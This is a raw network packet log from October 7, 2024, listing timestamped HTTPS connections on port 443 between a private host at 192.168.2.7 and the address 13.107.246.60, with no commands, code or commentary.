Oct 7, 2024 06:44:33.823785067 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.869343042 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.870093107 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.870127916 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.870213032 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.870219946 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.920079947 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.920284033 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.920329094 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.920336962 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.920372009 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.920449972 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.920468092 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.920480013 CEST	49845	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.920490026 CEST	443	49845	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.923648119 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.923685074 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.923906088 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.924053907 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.924067020 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.969844103 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.969952106 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.970012903 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.970207930 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.970231056 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.970248938 CEST	49846	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.970254898 CEST	443	49846	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.972795010 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.972836018 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:33.972903013 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.973043919 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:33.973053932 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.002954006 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.003465891 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.003475904 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.003906965 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.003911972 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.029611111 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.029999018 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.030011892 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.030354977 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.030359030 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.047308922 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.047593117 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.047631025 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.047903061 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.047909975 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.102113962 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.102319956 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.102423906 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.102472067 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.102495909 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.102505922 CEST	49848	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.102510929 CEST	443	49848	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.105416059 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.105535030 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.105643988 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.105818987 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.105854034 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.135375977 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.135915995 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.136001110 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.136061907 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.136077881 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.136089087 CEST	49847	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.136101961 CEST	443	49847	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.138999939 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.139045000 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.139139891 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.139298916 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.139314890 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.147111893 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.147160053 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.147233963 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.147258043 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.147309065 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.147598028 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.147617102 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.147630930 CEST	49849	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.147640944 CEST	443	49849	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.151048899 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.151081085 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.151194096 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.151364088 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.151372910 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.562678099 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.563488007 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.563525915 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.563937902 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.563945055 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.619982958 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.660854101 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.661489964 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.662395954 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.662432909 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.731056929 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.731080055 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.738468885 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.738497972 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.742271900 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.742289066 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.742301941 CEST	49850	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.742309093 CEST	443	49850	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.745106936 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.757837057 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.757863045 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.765326977 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.765343904 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.798351049 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.804805994 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.805967093 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.806044102 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.806118011 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.812936068 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.812952995 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.820643902 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.820650101 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.835654020 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.835807085 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.835861921 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.835881948 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.835918903 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.835966110 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.836987019 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.837004900 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.837014914 CEST	49851	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.837019920 CEST	443	49851	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.849859953 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.860692978 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.860752106 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.860831976 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.878950119 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.878988981 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.879015923 CEST	49852	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.879029989 CEST	443	49852	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.885279894 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.885288954 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.886251926 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.886256933 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.888977051 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.889014006 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.917409897 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.917501926 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.917828083 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.961220980 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.961220980 CEST	49854	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.961244106 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.961253881 CEST	443	49854	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.963633060 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.963676929 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.963804007 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.965029001 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.965080976 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.965150118 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.965240955 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.965254068 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.966435909 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.966445923 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.966613054 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.966844082 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.966857910 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.967075109 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.967088938 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.984801054 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.984879971 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.984944105 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.984951973 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.984989882 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:34.985039949 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.991326094 CEST	49853	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:34.991331100 CEST	443	49853	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.153347015 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.153384924 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.153454065 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.155709982 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.155723095 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.543297052 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.543921947 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.543987989 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.544373989 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.544388056 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.602606058 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.603176117 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.603193998 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.603624105 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.603629112 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.608081102 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.608454943 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.608484030 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.608789921 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.608795881 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.612853050 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.613200903 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.613218069 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.613547087 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.613553047 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643114090 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643174887 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643243074 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.643287897 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643322945 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643378973 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.643655062 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.643655062 CEST	49855	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.643697023 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.643719912 CEST	443	49855	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.646917105 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.646972895 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.647057056 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.647192955 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.647208929 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.703393936 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.703589916 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.703633070 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.703641891 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.703685999 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.703803062 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.703826904 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.703843117 CEST	49857	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.703850031 CEST	443	49857	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706176996 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706408978 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706456900 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706528902 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706568956 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706573963 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706598043 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706609011 CEST	49856	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706614971 CEST	443	49856	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.706634045 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706871033 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.706886053 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.708781004 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.708790064 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.708857059 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.709036112 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.709047079 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.714196920 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.714427948 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.714488029 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.714514971 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.714531898 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.714546919 CEST	49858	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.714553118 CEST	443	49858	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.717488050 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.717561960 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.717673063 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.717726946 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.717766047 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.792987108 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.793602943 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.793634892 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.794061899 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.794066906 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.893273115 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.893430948 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.893498898 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.893562078 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.893661976 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.893676996 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.893687010 CEST	49859	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.893692017 CEST	443	49859	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.896606922 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.896641970 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:35.896770000 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.896960974 CEST	49864	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:35.896971941 CEST	443	49864	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.284209967 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.284729958 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.284770012 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.285187006 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.285198927 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.344096899 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.344611883 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.344629049 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.345158100 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.345161915 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.347155094 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.347486973 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.347498894 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.347860098 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.347866058 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.375933886 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.376300097 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.376329899 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.376699924 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.376704931 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.383048058 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.383368969 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.383430004 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.383531094 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.383531094 CEST	49860	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.383575916 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.383603096 CEST	443	49860	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.385976076 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.386070967 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.386152983 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.386274099 CEST	49865	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.386296034 CEST	443	49865	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.443497896 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.443634987 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.443685055 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.443892002 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.443902016 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.443913937 CEST	49862	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.443918943 CEST	443	49862	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.446449041 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.446522951 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.446605921 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.446741104 CEST	49866	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.446772099 CEST	443	49866	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.447770119 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.447791100 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.447823048 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.447838068 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.447889090 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.447978020 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.448013067 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.448040009 CEST	49863	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.448055983 CEST	443	49863	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.449812889 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.449840069 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.449904919 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.450015068 CEST	49867	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.450026989 CEST	443	49867	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.477503061 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.477600098 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.477654934 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.477669001 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.477704048 CEST	443	49861	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:36.477749109 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.477802038 CEST	49861	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:36.477808952 CEST	443	49861	13.107.246.60	192.168.2.7
